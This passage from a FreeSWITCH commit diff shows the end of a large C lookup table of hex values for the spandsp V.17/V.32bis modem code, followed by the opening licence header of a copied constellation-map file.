+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x0f},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x00, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x05, 0x0e, 0x07},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x07}
+        }
+    }
+};
+
+/*- End of file ------------------------------------------------------------*/

Copied: freeswitch/branches/seven/libs/spandsp/src/v17_v32bis_tx_constellation_maps.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/v17_v32bis_tx_constellation_maps.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v17_v32bis_tx_constellation_maps.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/v17_v32bis_tx_constellation_maps.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,314 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * v17_v32bis_tx_constellation_maps.h - ITU V.17 and V.32bis modems
+ *                                      transmit part.
+ *                                      Constellation mapping.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
